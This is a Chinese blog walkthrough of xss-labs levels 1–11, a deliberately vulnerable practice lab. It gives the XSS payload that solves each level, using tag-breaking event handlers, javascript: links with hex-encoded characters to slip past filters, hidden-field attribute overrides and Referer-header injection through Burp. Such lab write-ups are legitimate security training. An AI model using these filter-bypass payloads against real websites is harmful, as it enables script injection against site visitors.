当前位置: 首页 > news >正文

xss-labs闯关【1-11】

第一关

直接输入http://localhost/xsslabs/level1.php?name=<script>alert(1)</script>

第二关

http://localhost/xsslabs/level2.php?keyword="><script>alert(1)</script>

第三关

' οnmοuseοver=alert`1`  '

第四关   

" οnmοuseοver="alert(/xss)

第五关

<script"'Oonn>显示<scr_ipt"'oo_nn>    关键字过滤,其他不变

"><a href="javascript:alert:alert(/xss/)">click</a>    引入超链接,生成click

">​:用于闭合前一个HTML标签的属性值(如value="...")和标签本身(如<input>)。

<a href="javascript:alert:alert(/xss/)">click</a>​:注入一个新的链接标签,其中href属性包含JavaScript代码。

javascript:​:这是伪协议,告诉浏览器执行JavaScript代码

alert:alert(/xss/)​:这是一个有效的JavaScript语句。这里:

alert:是一个标签(label),在JavaScript中常用于循环或开关语句,但在此处它只是语法上的装饰,没有实际功能。

alert(/xss/)是一个函数调用,会弹出一个警告框,内容为/xss/

浏览器在执行JavaScript URL时,会忽略标签(label)并直接执行后面的语句,因此alert(/xss/)被成功调用,触发弹窗。

第六关

先用这个测试<script"'Oonn> ,显示跟第五关一样<scr_ipt"'Oo_nn>

继续用"><a href="javascript:alert:alert(/xss/)">click</a>

可以看到"><被过滤,href也是,换成大写试一下

"><a hREf="javascript:alert:alert(/xss/)">click</a>

可以显示超链接,证明他没有做大小写过滤

第七关

测试<script"'Oonn>      

可以看到,script变空,Oonn中间on不见,并且O大写变小写

" Oonnmouseover="alert(/xss/)用这个可以把中间on去掉,O变小写

第八关

用这个测试<script"'oonn>

script变scr_ipt   "变&quot    '不变  

用伪协议,发现也不行

java&#x73;cript:alert(/xss/)       把s变成16进制就可以了

第九关

<script"'Oonn>继续用这个测试,给它一点面子

可以看到直接把我们的连接干掉了

java&#x73;cript:alert(/xss/)用上一关的,试了也不行,既然说我们的连接不合法,那就改成合法的,用百度网址试一下java&#x73;cript:alert('http://baidu.com')就可以了

第十关

keyword输入测试内容,http://127.0.0.1/xsslabs/level10.php?keyword=<script"'OOnn>

从标签字段下手,这些字段的值可通过URL参数控制http://127.0.0.1/xsslabs/level10.php?t_link=1

还是不行,换第二个http://127.0.0.1/xsslabs/level10.php?t_history=1   还是不行

第三个,http://127.0.0.1/xsslabs/level10.php?t_sort=1

改成可以弹窗的连接标签

http://127.0.0.1/xsslabs/level10.php?t_sort=click"; type="button" οnclick="alert()

​属性覆盖机制​​:

HTML规范规定:当元素有重复属性时,​​第一个出现的属性值有效​

Payload将type="button"放在前面,覆盖了原本的type="hidden"

type="button"   <!-- 第一个type属性,生效 -->

onclick="alert(/xss/)" <!-- 添加事件处理器 -->
type="hidden"   <!-- 重复属性,被忽略 -->

分号(;)

value="click";中的分号在HTML中​​没有特殊含义​

浏览器会将其视为值的一部分,不会造成语法错误

"用于闭合value属性,使后续内容成为新属性

onclick="alert(/xss/)"添加了点击事件

当用户点击按钮时触发XSS

type="button"覆盖了type="hidden"

使元素从不可见变为可见按钮

十一关

打开火狐的burp代理,输入<script"'OOnn>测试,bp上抓包

查看源代码,比上一关多了t_ref  那就在这里引入

这里遇到了点问题,火狐开启代理后还是无法抓到有referer字段的包

火狐搜索about:config
然后在访问后的搜索框内搜索 network.proxy.allow_hijacking_localhost,将值改为true,重新上一步步骤,到bp抓包就有了

把referer字段改成" type="text" οnclick="alert('xss')再回到火狐查看源代码,能看到已经响应了,然后弹出标签就过关了

      感谢大家的观看,小编呆呆羊在这里与大家共同学习共同成长。

  

http://www.dtcms.com/a/395526.html

相关文章:

  • vue2利用canvas翻页浏览pdf文件
  • 仿生视觉芯片迈向实用化:《Advanced Science》报道双极性宽谱光电晶体管,赋能自动驾驶与机器感知
  • 如何在手机上把CAD图纸导出为PDF?
  • 【2025最新】02 Spring Boot 第一个小程序 for VS Code - 通过 Spring Initializr 扩展创建
  • map和set的使用和实现(C++)
  • Qt 系统相关 - 网络
  • Java中List转换成Map的两种方式
  • 嵌入式 - RAM10
  • Qwen新开源tongyi-DeepResearch:核心优势
  • Java Stream API性能优化实践指南
  • Qt配置序列化与反序列化实战:QSettings的深度应用指南
  • MySQL下载时出现“starting the server”或“initializing错误”的原因以及解决方案
  • MySQL 数据库核心知识点详解
  • 让机器人边思考边行动!新一代具身智能EO-1:统一架构突破VLA瓶颈
  • 数据库笔试选择题:题组1
  • 一款相机是只有桶形畸变 和 枕形畸变的一种,还是两个都有?
  • 德克西尔井盖异动传感器:城市安全的隐形守护者
  • HTML基本标签一
  • BGP高防服务器具体是指什么
  • 打工人日报#20250922
  • Django视图与路由
  • 在thinkphp8的模板文件中 如何调用公共服务类函数
  • Nextcloud增加模块内嵌网页
  • Ubuntu18.04 MySQL5.7.42 内存升高导致OOM MySQL重启解决办法
  • html调起exe程序
  • C#中的Task怎么理解,理解异步编程的核心
  • fastApi框架开发一个web端仓库管理系统
  • mosquitto求医之路(3):Docker安装也不好使
  • 字节 TRAE:AI 原生 Coding Agent 的工程化架构与实战落地
  • 保姆级教程:windows和linux双系统的电脑如何无副作用,安全删除linux